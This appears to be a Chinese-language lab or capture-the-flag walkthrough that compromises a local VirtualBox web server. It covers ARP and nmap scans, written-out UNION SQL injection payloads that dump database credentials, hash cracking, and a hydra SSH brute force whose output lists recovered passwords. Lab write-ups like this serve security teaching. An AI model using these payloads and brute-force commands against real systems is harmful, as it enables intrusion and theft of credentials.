Currently scanning: Finished! | Screen View: Unique Hosts 16 Captured ARP Req/Rep packets, from 7 hosts. Total size: 960 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 192.168.1.1 28:c8:7c:19:bf:e8 10 600 zte corporation 192.168.1.5 20:1e:88:ad:fc:55 1 60 Intel Corporate 192.168.1.6 0c:d8:6c:a5:e7:a1 1 60 SHENZHEN FAST TECHNOLOGIES CO.,LTD 192.168.1.10 08:00:27:2a:5c:99 1 60 PCS Systemtechnik GmbH 192.168.1.4 c4:e1:a1:cf:47:95 1 60 GUANGDONG OPPO MOBILE TELECOMMUNICATIONS CORP.,LTD 192.168.1.3 a2:86:90:e6:04:98 1 60 Unknown vendor 192.168.1.2 ca:71:62:08:70:8a 1 60 Unknown vendor
👁 服务扫描
nmap scan
1 2 3 4 5 6 7 8 9 10 11 12 13 14
sudo nmap -p- -oN nmap_scan 192.168.1.10 -sV -sC --min-rate 5000 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-17 15:39 CST Nmap scan report for 192.168.1.10 (192.168.1.10) Host is up (0.00012s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp filtered ssh 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Example.com - Staff Details - Welcome |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:2A:5C:99 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.95 seconds
🚪🚶 获取权限
在web页面存在sql注入,可以通过联合查询 select database:-1' union select 1,2,3,4,5,database()##, database:Staff select tables:-1' union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=database()##, tables:StaffDetails,Users select columns_name in users -1' union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name='Users'##, columns in Users:UserID,Username,Password select username and password:-1' union select 1,2,3,4,group_concat(Username),group_concat(Password) from Users## credentials:admin:856f5de590ef37314e7c3bdf6f8a66dc, we could crack it in https://crackstation.net/. admin:transorbital1 我们通过手工查询到了web登录的信息,然后可以继续手工测试或者用sqlmap直接一把梭,首先查询所有数据库。
--dump 获取字段中的数据,其实就是爆表 我们可以把这些用户名和密码都存起来,后面需要密码喷洒的时候会用。接着我们去web页面登录admin看看,我们登录后,在每个页面都能发现一个”File does not exist”,很可能这个页面是存在LFI漏洞的,那我们可以测试一下常用的url参数。 且经过尝试,我们找到了这个knock服务的配置文件。(从ssh服务的状态是filtered我们也可以猜测可能是有防火墙或者knock服务)
sudo nmap -p 22 192.168.1.10 -sV -sC ··· Host is up (0.00042s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0) ···
用hydra进行爆破
1 2 3 4 5 6 7 8 9 10
hydra -L users -P passwds 192.168.1.10 ssh -t 4 -I ··· [DATA] attacking ssh://192.168.1.10:22/ [STATUS] 92.00 tries/min, 92 tries in 00:01h, 214 to doin 00:03h, 4 active [22][ssh] host: 192.168.1.10 login: chandlerb password: UrAG0D! [22][ssh] host: 192.168.1.10 login: joeyt password: Passw0rd [STATUS] 94.00 tries/min, 282 tries in 00:03h, 24 to doin 00:01h, 4 active [22][ssh] host: 192.168.1.10 login: janitor password: Ilovepeepee 1 of 1 target successfully completed, 3 valid passwords found ···